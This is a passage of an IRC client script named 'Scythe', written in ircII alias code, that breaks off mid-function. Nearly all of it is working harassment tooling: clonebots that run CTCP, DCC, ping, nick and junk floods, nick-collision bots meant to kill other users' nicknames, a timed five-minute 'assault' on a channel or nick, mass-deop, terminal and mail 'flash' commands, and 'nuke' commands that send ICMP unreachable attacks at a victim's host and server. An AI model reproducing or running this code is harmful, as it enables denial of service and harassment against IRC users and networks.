  500.    if (!rmatch($CSERV[$SERVCOUNT] *.*)) {/EVAL @ SERVCOUNT = 1}
  501. }
  502.  
  503. alias newclone {
  504.   ^set display off
  505.   if ([$0] == [RANDOM]) {
  506.     /EVAL ^assign CSRV $CSERV[$SERVCOUNT]
  507.     ^incserv
  508.   }
  509.   {/EVAL ^assign CSRV $0}
  510.    EVAL ^assign CLONESOCKET[${NUMCLONES+1}] $connect($CSRV $CLONEPORT)
  511.   ^set display on
  512.    if ([$CLONESOCKET[${NUMCLONES+1}]] > 0) {
  513.      @ NUMCLONES = NUMCLONES + 1
  514.      EVAL ^assign CLONESERV[$NUMCLONES] $CSRV
  515.      if ([$CLONEUNAME] == [NONE]) {/EVAL ^assign CUN $randcrap(8)}
  516.      {/EVAL ^assign CUN $CLONEUNAME}
  517.      if ([$2]) {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$2-}
  518.      {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$randcrap($rand(8)) $randcrap($rand(8))}
  519.      if ([$1]) {
  520.         if ([$1] == [RANDOM]) {
  521.           EVAL ^assign JUNK2 $rand(3)
  522.           if ([$JUNK2] == 0) {/EVAL ^assign CNICK $randcrap(9)}
  523.           if ([$JUNK2] == 1) {/EVAL ^assign CNICK $randcrap(7)}
  524.           if ([$JUNK2] == 2) {/EVAL ^assign CNICK $randcrap(5)}
  525.           if ([$JUNK2] == 3) {/EVAL ^assign CNICK $randcrap(4)}
  526.           ^assign -JUNK2
  527.         }
  528.         {/EVAL ^assign CNICK $randcrap(1)$NUMCLONES$1}
  529.      }
  530.      {/EVAL ^assign CNICK $randcrap(9)}
  531.      //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV NICK $CNICK
  532.      //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV MODE $CNICK +i
  533.      ^assign CLONENICKS[$NUMCLONES] $CNICK
  534.      ^assign CLONES[$NUMCLONES] ONLINE
  535.      ^assign CLONESPY[$NUMCLONES] _
  536.       EVAL @ CLONENUM[$CLONESOCKET[$NUMCLONES]] = $NUMCLONES
  537.       EVAL cecho Clone #$NUMCLONES on $CSRV\ \($CNICK\) created.
  538.       ^assign -CNICK
  539.       ^assign -CUN
  540.     }
  541.     {
  542.        cecho Clonebot connection to ${CSRV} failed.
  543.        ^assign -CLONESOCKET[${NUMCLONES+1}]
  544.     }
  545.    ^assign -CSRV
  546. }
  547.  
  548. alias clonewhois {
  549.   ^assign FOUNDIT NO
  550.    foreach CLONES XX {
  551.      if ([$0] == [$CLONENICKS[$XX]]) {
  552.         ^assign FOUNDIT YES
  553.         cecho $0 is clonebot #$XX\, socket $CLONESOCKET[$XX]\ on server $CLONESERV[$XX]\
  554.      }
  555.    }
  556.    if ([$FOUNDIT] != [YES]) {/cecho Error: $0, no such clone.}
  557.    ^assign -FOUNDIT
  558. }
  559.  
  560. alias clonedoaction {
  561.   if ([$1] == [JOIN]) {
  562.     if ([$2]) {
  563.        if (ischannel($2)) {/clonesend $0 JOIN $2-}
  564.        {/clonesend $0 JOIN #$2-}
  565.     }
  566.     {/clonesend $0 JOIN $C}
  567.   }
  568.   if ([$1] == [LEAVE]) {
  569.     if ([$2]) {
  570.        if (ischannel($2)) {/clonesend $0 PART $2-}
  571.        {/clonesend $0 PART #$2-}
  572.     }      
  573.     {/clonesend $0 PART $C}
  574.   }
  575.   if ([$1] == [MODE]) {/clonesend $0 MODE $2 $3-}
  576.   if ([$1] == [KICK]) {/clonesend $0 KICK $2 $3 :$4-}
  577.   if ([$1] == [MSG]) {/clonesend $0 PRIVMSG $2 :$3-}
  578.   if ([$1] == [SAY]) {/clonesend $0 PRIVMSG $C :$2-}
  579.   if ([$1] == [WHO]) {
  580.     if ([$2]) {
  581.        if (ischannel($2)) {/clonesend $0 WHO $2-}
  582.        {/clonesend $0 WHO #$2-}
  583.     }
  584.     {/clonesend $0 WHO $C}
  585.   }
  586.   if ([$1] == [CTCP]) {/clonesend $0 PRIVMSG $2 :$3-}
  587.   if ([$1] == [ME]) {/clonesend $0 PRIVMSG $2 :ACTION $3-}
  588.   if ([$1] == [NICK]) {/clonenick $0 $2}
  589.   if ([$1] == [INVITE]) {/clonesend $0 INVITE $2 $3}
  590.   if ([$1] == [NICKPREFIX]) {/clonenick $0 $2$0}
  591.   if ([$1] == [TSUNAMI]) {/repeatcmd 4 clonesend $0 NOTICE $2 :$TSU}
  592.   if ([$1] == [DCCTSUNAMI]) {
  593.      clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  594.      clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  595.      clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  596.      clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  597.   }
  598.   if ([$1] == [PONGFLOOD]) {/repeatcmd 4 EVAL /clonesend $0 PONG $TSU :$2}
  599.   if ([$1] == [DCCFLOOD]) {
  600.      clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $
  601.  
  602. rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
  603.      clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $
  604.  
  605. rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
  606.      clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $
  607.  
  608. rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
  609.      clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $
  610.  
  611. rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
  612.   }
  613.   if ([$1] == [CTCPFLOOD]) {/repeatcmd 15 clonesend $0 PRIVMSG $2 :CLIENTINFOCLIENTINFO}
  614.   if ([$1] == [PINGFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING}
  615.   if ([$1] == [VERSIONFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION}
  616.   if ([$1] == [NICKFLOOD]) {
  617.     EVAL ^assign TRASH1 $randcrap(2)
  618.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  619.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  620.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  621.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  622.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  623.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  624.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  625.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  626.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  627.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  628.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  629.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  630.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  631.     EVAL clonesend $0 NICK $TRASH1$rand(9999999)
  632.     EVAL clonenick $0 $TRASH1$rand(9999999)
  633.     ^assign -TRASH1
  634.   }
  635.   if ([$1] == [BOTKILL]) {/repeatcmd 20 clonesend $0 PRIVMSG $2 :help}
  636.   if ([$1] == [FINGERFLOOD]) {/repeatcmd 4 clonesend $0 PRIVMSG $2 :FINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFI
  637.  
  638. NGER}
  639.   if ([$1] == [RAWIRC]) {/clonesend $0 $2-}
  640.   if ([$1] == [FLOOD]) {/repeatcmd 12 clonesend $0 PRIVMSG $2 :$3-}
  641.   if ([$1] == [RANDNICK]) {/clonenick $0 $randcrap(9)}
  642.   if ([$1] == [SEDFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  643.  
  644. SEDSED}
  645.   if ([$1] == [JUNKFLOOD]) {
  646.      EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
  647.      EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
  648.      EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
  649.      EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
  650.      EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
  651.   }
  652.   if ([$1] == [IDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :iDCC HELP}
  653.   if ([$1] == [GDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :GDCC SEND #1}
  654.   if ([$1] == [XDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :XDCC HELP}
  655. }
  656.  
  657. alias clone {
  658.    if ([$0]) {
  659.     if ([$0] == [ALL]) {
  660.        if ([$1] != [NICK]) {
  661.           foreach CLONES XY {/clonedoaction $XY $1-}
  662.        }
  663.        {/cecho Error: All the bots can't change their nick to the same thing, use nickprefix.}
  664.     }
  665.     {
  666.        if ([$0] != [HELP]) {/clonedoaction $0 $1-}
  667.        {/clone}
  668.     }
  669.    }
  670.    {/cchelp}
  671. }
  672.  
  673. alias cchelp {
  674.   sxecho +------------------+  Scythe Clonebot Controller +----------------+
  675.   sxecho Usage: /clone <clone#/all> <command>, where command is:
  676.   sxecho   join [<channel>]               - Join a channel \(or current\)
  677.   sxecho   leave [<channel>]              - Leave a channel \(or current\)
  678.   sxecho   mode <channel> <mode>          - Do a mode change
  679.   sxecho   msg <nick/channel> <msg>       - Private message
  680.   sxecho   say <msg>                      - Message to current channel
  681.   sxecho   me <channel> <action>          - Do an action in <channel>
  682.   sxecho   nick <nick>                    - Change nickname
  683.   sxecho   nickprefix <nick-prefix>       - Change nick using prefix system
  684.   sxecho   randnick                       - Change to a random nickname
  685.   sxecho   tsunami <nick/channel>         - Big, annoying flood
  686.   sxecho   dccflood <nick>                - Tons of DCC CHAT requests
  687.   sxecho   ctcpflood <nick/channel>       - CTCP CLIENTINFO flood
  688.   sxecho   pingflood <nick/channel>       - CTCP PING flood
  689.   sxecho   versionflood <nick/channel>    - CTCP VERSION flood
  690.   sxecho   nickflood                      - Rapid trash nick changing
  691.   sxecho   botkill <nick>                 - Flood of 'help'
  692.   sxecho   fingerflood <nick/channel>     - CTCP FINGER flood
  693.   sxecho   rawirc <text>                  - Send <text> directly to server
  694.   sxecho   flood <nick/channel> <msg>     - Flood with <msg>
  695.   /pause2
  696.   sxecho   sedflood <nick/channel>        - [ENCRYPTED MESSAGE] flood
  697.   sxecho   idccflood/xdccflood/gdccflood <nick> - DCC request floods
  698.   sxecho   ctcp <nick/channel> <msg>      - Send CTCP
  699.   sxecho   invite <nick> <channel>        - Invite <nick> to <channel>
  700.   sxecho   dcctsunami <nick>              - DCC tsunami <nick>
  701.   sxecho   pongflood <nick>               - PONG tsunami <nick>
  702.   sxecho   who [<#channel>]               - WHO list, only works with spy
  703.   sxecho                                    level 'MISC' set.
  704.   sxecho   junkflood <nick/channel>       - Flood of ASCII trash
  705.   sxecho  Use /clonespy for setting spy levels.  /clonespy for help.
  706.   sxecho +-----------------------------------------------------------------+
  707. }
  708.  
  709. alias clonebots {
  710.   if ([$0]) {
  711.     if (match($0 STATUS CLONE KILL WHOIS WINDOW)) {
  712.      if ([$0] == [WHOIS]) {/clonewhois $1}
  713.      if ([$0] == [STATUS]) {
  714.        ^assign CLONESON NO
  715.         foreach CLONES XX {
  716.           ^assign CLONESON YES
  717.            cecho Clone #$XX - Socket:$CLONESOCKET[$XX]  Server:$CLONESERV[$XX]  Nick:$CLONENICKS[$XX]
  718.         }
  719.         if ([$CLONESON] == [NO]) {/cecho There are no clonebots online.}
  720.         ^assign -CLONESON
  721.      }
  722.      if ([$0] == [CLONE]) {/EVAL repeatcmd $1 newclone $2 $3 $4-}
  723.      if ([$0] == [WINDOW]) {/clone_window}
  724.      if ([$0] == [KILL]) {
  725.        if ([$1] == [ALL]) {
  726.         foreach CLONES XZ {/killclone $XZ}
  727.          @ NUMCLONES = 0
  728.         ^assign SPYSTATE OFF
  729.          cecho All clonebots have been disconnected.
  730.        }
  731.        {/killclone $1}
  732.      }
  733.     }
  734.     {/clonhelp}
  735.   }
  736.   {/clonhelp}
  737. }
  738.  
  739. alias opclones {
  740.   ^assign OPPEDACLONE NO
  741.     foreach CLONENICKS XX {
  742.       EVAL ^assign CNIX1 $CLONENICKS[$XX] ${CNIX1}
  743.     }
  744.     ^on ^who "*" {
  745.      if ((match($1 $CNIX1))&&(!rmatch($2 *@*))) {
  746.         EVAL ^assign CNIX2 $1 ${CNIX2}
  747.         ^assign OPPEDACLONE YES
  748.      }
  749.     }
  750.     ^who $C
  751.     wait
  752.     if ([$OPPEDACLONE] != [NO]) {/op $CNIX2}
  753.     {/cecho There are no unopped clonebots on $C\.}
  754.     ^on who - "*"
  755.     ^assign -CNIX1
  756.     ^assign -CNIX2
  757.     ^assign -OPPEDACLONE
  758. }
  759.  
  760. ### Collision Killer Bots (by Vassago and CKeeper)
  761.  
  762. alias collbots {/colbots $0-}
  763. alias collbots.killons {/colbots.killons $0-}
  764. alias collbots.make {/colbots.make $0-}
  765. alias colbots {/cbots $0-}
  766.  
  767. alias colbots.killons {
  768.     EVAL ^on #dcc_raw 65 - "$0 $1 D % 433 *Nickname is already*"
  769.     EVAL ^on #dcc_raw 65 - "$0 $1 C*"
  770. }
  771.  
  772. alias colbots.make {
  773.   ^set display off
  774.   EVAL ^assign CBSOCKET $connect($0 $1)
  775.   ^set display on
  776.   if (CBSOCKET > 0) {
  777.     ^assign COLLBOTS[$CBSOCKET] $2
  778.      EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 D % 433 *Nickname is already*" {
  779.         EVAL ^timer 2 //^dcc close raw $0
  780.         ^colbots.killons $0 $1
  781.         sxecho Collidebot $COLLBOTS[$0]: nickname already in use, disconnected
  782.         ^assign -COLLBOTS[$0]
  783.         ^assign -CBSERV[$0]
  784.      }
  785.     EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 C*" {
  786.        ^colbots.killons $0 $1
  787.        sxecho Collidebot $COLLBOTS[$0] has been disconnected by server $1.
  788.        ^assign -COLLBOTS[$0]
  789.        ^assign -CBSERV[$0]
  790.     }
  791.     //^dcc raw $CBSOCKET $0 NICK $2
  792.     //^dcc raw $CBSOCKET $0 USER $randcrap(8) $HOSTROOT $0 :$CJUNKSTR
  793.       sxecho Collidebot $2 created on server $0 \(Socket: $CBSOCKET\)
  794.      ^assign CBSERV[$CBSOCKET] $0
  795.      ^assign -CBSOCKET
  796.   }
  797.   {/sxecho Error connecting Collidebot $2 to server $0.}
  798. }
  799.  
  800. alias colbots.help {
  801.   sxecho +-----------------+ Scythe Nick Collision Bots Help +------------------+
  802.   sxecho   Usage: /CBOTS <command>, where <command> is:
  803.   sxecho    make <nick> <server> [<port#>]   - Create a single Collidebot.
  804.   sxecho    kill [<nick>]                    - Kill Collidebot <nick> or ALL.
  805.   sxecho    list                             - List Collidebots online.
  806.   sxecho    dupeops <server> [<port#>]       - Like dupe, but only gets ops.
  807.   sxecho    newnick <oldnick> <newnick>      - Change a Collidebot's nick.
  808.   sxecho    dupe <server> [<port#>]          - Duplicate all nicks on your
  809.   sxecho                                       channel but you on <server>.
  810.   sxecho   The following two commands are used in conjunction:
  811.   sxecho    find                             - Finds lagged servers and adds
  812.   sxecho                                       them to your collide server list,
  813.   sxecho                                       which is used in DESTROY.
  814.   sxecho    destroy <nick> [<server>]        - Attempts to collision kill
  815.   sxecho                                       <nick>. If <server> is specified
  816.   sxecho                                       it will use that server. If not,
  817.   sxecho                                       CBOTS will create a collision bot
  818.   sxecho                                       on every server in the collide
  819.   sxecho                                       server list.
  820.   sxecho +----------------------------------------------------------------------+
  821.   sxecho   If <port#> is left out with any of these, the default is 6667.  If
  822.   sxecho   <nick> is left out with kill, it disconnects all your Collidebots.
  823.   sxecho +----------------------------------------------------------------------+
  824. }
  825.  
  826. alias cbots {
  827.    if (match($0 MAKE FIND DESTROY KILL DUPE DUPEOPS LIST NEWNICK)) {
  828.      if ([$0] == [NEWNICK]) {
  829.      if ([$2]) {
  830.        ^assign CHANGEDONE N
  831.         foreach COLLBOTS XX {
  832.          if ([$COLLBOTS[$XX]] == [$1]) {
  833.            //^dcc raw $XX $CBSERV[$XX] NICK $2
  834.            ^assign COLLBOTS[$XX] $2
  835.            ^assign CHANGEDONE Y
  836.          }
  837.         }
  838.        if ([$CHANGEDONE] == [N]) {/sxecho $1: no Collidebots match that nick}
  839.       ^assign -CHANGEDONE
  840.      }
  841.      {/sxecho Usage: /CBOTS newnick <oldnick> <newnick>}
  842.     }
  843.     if ([$0] == [MAKE]) {
  844.      if ([$2]) {
  845.        if ([$3] > 0) {^assign MPORT $3}
  846.        {^assign MPORT 6667}
  847.        ^colbots.make $2 $MPORT $1
  848.        ^assign -MPORT
  849.      }
  850.      {/sxecho Usage: /CBOTS make <nick> <server> [<port#>]}
  851.     }
  852.     if ([$0] == [KILL]) {
  853.      if ([$1]) {
  854.        ^assign KILLEDONE N
  855.         foreach COLLBOTS XX {
  856.          if ([$COLLBOTS[$XX]] == [$1]) {
  857.            //^dcc close raw $XX
  858.            ^colbots.killons $XX $CBSERV[$XX]
  859.            sxecho Collidebot $COLLBOTS[$XX] disconnected.
  860.            ^assign -COLLBOTS[$XX]
  861.            ^assign -CBSERV[$XX]
  862.            ^assign KILLEDONE Y
  863.          }
  864.         }
  865.        if ([$KILLEDONE] == [N]) {/sxecho $1: No Collidebots match that nick.}
  866.       ^assign -KILLEDONE
  867.      }
  868.      {
  869.        foreach COLLBOTS XY {^cbots kill $COLLBOTS[$XY]}
  870.        sxecho All Collidebots have been disconnected.
  871.      }
  872.     }
  873.     if ([$0] == [DUPE]) {
  874.      if ([$1]) {/_dodupe}
  875.       {/sxecho Usage: /CBOTS dupe <server> [<port#>].}
  876.     }
  877.     if ([$0] == [DUPEOPS]) {
  878.      if ([$1]) {
  879.        ^on ^who "*" {
  880.         if (([$1] != [$N])&&([$1] != [$GBNICK])) {
  881.           ^assign KILLNIX[$rand(9999999)] $1
  882.         }
  883.        }
  884.        sxecho Duplicating all channel ops on $C via server $1.
  885.        ^who -chops *
  886.        wait
  887.        ^on who - "*"
  888.        foreach KILLNIX XT {
  889.         ^cbots make $KILLNIX[$XT] $1-
  890.         ^assign -KILLNIX[$XT]
  891.        }
  892.      }
  893.      {/sxecho Usage: /CBOTS dupeops <server> [<port#>]}
  894.     }
  895.     if ([$0]==[LIST]) {/_listbots}
  896.     if ([$0]==[FIND]) {/_findservs}
  897.     if ([$0]==[DESTROY]) {
  898.        ^assign -destroyserv
  899.        ^assign destroyport 6667
  900.        if ([$3]) {
  901.        ^assign destroyserv $2
  902.        ^assign destroyport $3-
  903.        }
  904.        if ([$2]) {^assign destroyserv $2}
  905.        if ([$1]) {
  906.       if ([$SERV[0]]==[]) {/_getservs}
  907.       if ([$destroyserv]==[]) {
  908.          sxecho Creating collide bots for $1 on $cservnum servers, please wait...
  909.          _botsmake $1-
  910.       }
  911.       {
  912.          sxecho Creating collide bot on server $2-, please wait...
  913.          _botsmake2
  914.       }
  915.        }
  916.        {/sxecho Usage: /CBOTS DESTROY <nickname> [<server>]}
  917.     }
  918.   }
  919.   {/colbots.help}
  920. }
  921.  
  922. alias _getservs {
  923.    purge serv
  924.    @ cservnum = 0
  925.    foreach CSERV XX {
  926.       ^assign serv[$XX] $CSERV[$XX]
  927.       @ cservnum = cservnum + 1
  928.    }
  929. }
  930.  
  931. alias _botsmake {
  932.          foreach serv XX {
  933.          sxecho Connecting to server $serv[$XX]\...
  934.         ^assign servp[$XX] $connect($serv[$XX] 6667)
  935.         if (servp[$XX] > 0) {
  936.            ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6}
  937.            //^dcc raw $servp[$XX] $serv[$XX] NICK $1
  938.            //^dcc raw $servp[$XX] $serv[$XX] USER $tolower($randcrap(9999999)) # # :*Unknown*
  939.            EVAL ^timer 60 _closeraw $servp[$XX] $serv[$XX]
  940.         }
  941.          }
  942. }
  943.  
  944. alias _botsmake2 {
  945.           sxecho Connecting to server $destroyserv\...
  946.           ^assign dserv $connect($destroyserv $destroyport)
  947.           ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6}
  948.            //^dcc raw $dserv $destroyserv NICK $1
  949.            //^dcc raw $dserv $destroyserv USER $tolower($randcrap(9999999)) # # :*Unknown*
  950.            EVAL ^timer 60 _closeraw $dserv $destroyserv
  951. }
  952.  
  953. alias _dodupe {
  954.        ^on ^who "*" {
  955.            if ([$1] != [$N]) {^assign KILLNIX[$rand(9999999)] $1}
  956.        }
  957.        sxecho Duplicating all nicknames on $C on server $1.
  958.       ^who *
  959.        wait
  960.        ^on who - "*"
  961.         foreach KILLNIX XT {
  962.           ^cbots make $KILLNIX[$XT] $1-
  963.           ^assign -KILLNIX[$XT]
  964.         }
  965. }
  966.  
  967. alias _listbots {
  968.      ^assign IHAVEBOTZ N
  969.       foreach COLLBOTS XX {
  970.          sxecho $COLLBOTS[$XX] on server $CBSERV[$XX] \(Socket: $XX\)
  971.         ^assign IHAVEBOTZ Y
  972.       }
  973.       if ([$IHAVEBOTZ] == [N]) {/sxecho You have no Collidebots online.}
  974.       ^assign -IHAVEBOTZ
  975. }
  976.  
  977. alias _findservs {
  978.     sxecho Finding lagged servers and adding them to your DESTROY list...
  979.     purge serv
  980.      _getservs
  981.     ^on ^364 "*" if (([$3]>[9])&&(!rmatch($1 ?.*))) { 
  982.          sxecho Added server $1 to DESTROY list of $cservnum\ servers.
  983.         ^assign serv[$cservnum] $1
  984.         @ cservnum = cservnum + 1
  985.     }
  986.     //links
  987.     wait -CMD ^on 364 - "*"
  988. }
  989.  
  990. alias _closeraw {
  991.    //^dcc raw $0 $1 QUIT :Leaving
  992.    ^on dcc_raw - "% % D % 433 % % :*"
  993.     sxecho Connection closed \(Raw socket $0 to $1\)
  994. }
  995.  
  996. ### Clonebot Assault Program
  997.  
  998. alias assault {
  999.    if ([$0]) {
  1000.    /sxecho Beginning 5 minute clonebot assault sequence on $0.
  1001.    @ numtouse = [$"[S/X] Number of clonebots to use <ENTER for 3>: "]
  1002.    if ([$numtouse]!=[]) {/sxecho Using $numtouse clonebots\.}
  1003.    {
  1004.     @ numtouse = 3
  1005.     sxecho Using default number of $numtouse clonebots.
  1006.    }
  1007.    @ assaultserver = [$"[S/X] Server to use <ENTER for random>: "]
  1008.    if ([$assaultserver]!=[]) {/sxecho Using server $assaultserver for the assault.}
  1009.    {/sxecho Clonebots will be spawned on random servers.
  1010.    @ assaultserver = [random]}
  1011.    @ assaultdesc = [$"[S/X] IRCNAME for the bots <ENTER for junk>: "]
  1012.    if ([$assaultdesc]!=[]) {/sxecho Using IRCNAME $assaultdesc for the clonebots.}
  1013.    @ defaultnick = [$"[S/X] Default nick prefix for the bots <ENTER for junk>: "]
  1014.    if ([$defaultnick]!=[]) {/sxecho Using $defaultnick for the clonebots.}
  1015.    {
  1016.      ^assign defaultnick RANDOM
  1017.      /sxecho Using random junk nick for the clonebots.
  1018.    }
  1019.     /sxecho Assault program engaged on $0\, please wait...
  1020.    EVAL /clonebots clone $numtouse $assaultserver $defaultnick $assaultdesc
  1021.    wait
  1022.    if (rmatch($0 #*)) {/clone ALL join $0;wait}
  1023.    /sxecho Engaging flood sequence on $0.
  1024.    /clone all junkflood $0
  1025.     ^timer 50 /clone all sedflood $0
  1026.     ^timer 75 /clone all multiflood $0
  1027.     ^timer 100 /clone all versionflood $0
  1028.     ^timer 125 /clone all randnick
  1029.     ^timer 150 /clone all pingflood $0
  1030.     ^timer 175 /clone all randnick
  1031.     ^timer 200 /clone all tsunami $0
  1032.     ^timer 240 /clone all tsunami $0
  1033.     ^timer 300 /clonebots kill all
  1034.    /sleep 1
  1035.    /sxecho Assault program on $0 in progress. ALL clonebots will be
  1036.    /sxecho automatically disconnected in five minutes.
  1037.   }
  1038.  {/sxecho Usage: /ASSAULT <#channel/nick>.}
  1039. }
  1040.  
  1041. ### Megadeop with Nick Change
  1042.  
  1043. alias nickmdop {
  1044.   EVAL ^assign OLDNICK $N
  1045.   ^on ^who "*" {
  1046.     if ([$1]!=[$N]) {
  1047.      if (rmatch($2 *@*)) {
  1048.     ^assign mdopz $1 ${mdopz}
  1049.     }
  1050.      }
  1051.     }
  1052.   ^who *
  1053.   /wait
  1054.   /listmdopnicks $mdopz
  1055.   ^assign -mdopz
  1056.   EVAL //nick $OLDNICK
  1057.   ^assign -OLDNICK
  1058.   ^on who - "*"
  1059. }
  1060.  
  1061. alias listmdopnicks {
  1062.   quote MODE $C -oooo $0 $1 $2 $3
  1063.   quote NICK _$rand(99999999)
  1064.   if ([$4]) {/listmdopnicks $4-}
  1065. }
  1066.  
  1067. ### Flash & Nuke Commands
  1068.  
  1069. alias flash {
  1070.   if ([$0]) {
  1071.     Userhost $0 -CMD if ([$3]) {
  1072.      if ([$4]!=[<UNKNOWN>]) {
  1073.        ^exec $flash_pgm $strip(#;~ $3)@$4 &
  1074.        ^exec $flash_pgm $strip(#;~ $3)@$4 &
  1075.         sxecho Flashed $0 \($strip(#;~ $3)@$4\)
  1076.      }
  1077.      {/sxecho I can't find $0 on IRC.}
  1078.     }
  1079.   }
  1080.   {/sxecho Usage: /FLASH <nick>.}
  1081. }
  1082.  
  1083. alias mflash {
  1084.   if ([$0]) {
  1085.     Userhost $0 -CMD if ([$3]) {
  1086.      if ([$4]!=[<UNKNOWN>]) {
  1087.        ^exec $mflash_pgm cs.bu.edu loser@kiss.my.ass.edu $strip(;#~ $3)@$4
  1088.         sxecho Mail flashed $0 \($strip(;#~ $3)@$4\).
  1089.      }
  1090.      {/sxecho I can't find $0 on IRC.}
  1091.     }
  1092.   }
  1093.   {/sxecho Usage: /MFLASH <nick>.}
  1094. }
  1095.  
  1096. alias listmassflash {
  1097.   ^exec -name flash $flash_pgm $1
  1098.   wait %flash
  1099.   sxecho I have flashed $0 \($1\)
  1100.   if ([$2]) {^listmassflash $2-}
  1101. }
  1102.  
  1103. alias massflash {
  1104.   ^on ^who "*" {
  1105.       if ([$1]!=[$N]) {^assign FLASHLOSERS $1 $strip(;#~ $3)@$4 ${FLASHLOSERS}}
  1106.   }
  1107.   ^who $C
  1108.    wait -CMD nextflash
  1109. }
  1110.  
  1111. alias nextflash {
  1112.   ^on who - "*"
  1113.   ^listmassflash $FLASHLOSERS
  1114.   ^assign -FLASHLOSERS
  1115. }
  1116.  
  1117. alias nuke {
  1118.  if ([$0]) {
  1119.    ^on ^311 "*" {^assign ndomain $3}
  1120.    ^on ^312 "*" {^assign nserver $1}
  1121.    ^on ^319 "*" #
  1122.    ^whois $0
  1123.     wait
  1124.     EVAL ^exec $nuke_pgm $ndomain $nserver unreach &
  1125.     EVAL ^exec $nuke_pgm $nserver $ndomain unreach &
  1126.    /sxecho Sent nuke for $0 at $ndomain on server $nserver\.
  1127.    ^on 311 - "*"
  1128.    ^on 312 - "*"
  1129.    ^on 319 - "*"
  1130.    ^assign -ndomain
  1131.    ^assign -nserver
  1132.   }
  1133.   {/sxecho Usage: /NUKE <nick>. You must have root access to use.}
  1134. }
  1135.  
  1136. # Server Nuke (by Vassago)
  1137.  
  1138. alias snuke {
  1139.       if ([$0]) {
  1140.      ^assign nserver1 $0
  1141.      ^on ^364 "*" {
  1142.          if (rmatch($2 ?.*)) {
  1143.           sxecho Invalid server name $2.
  1144.           sxecho Enter a valid server name that matches that mask:
  1145.          ^assign nukeprompt $word(0 $"$2 is also: ")
  1146.          ^assign nserver2 $nukeprompt
  1147.          ^assign -nukeprompt
  1148.          }
  1149.          {^assign nserver2 $2}
  1150.      }
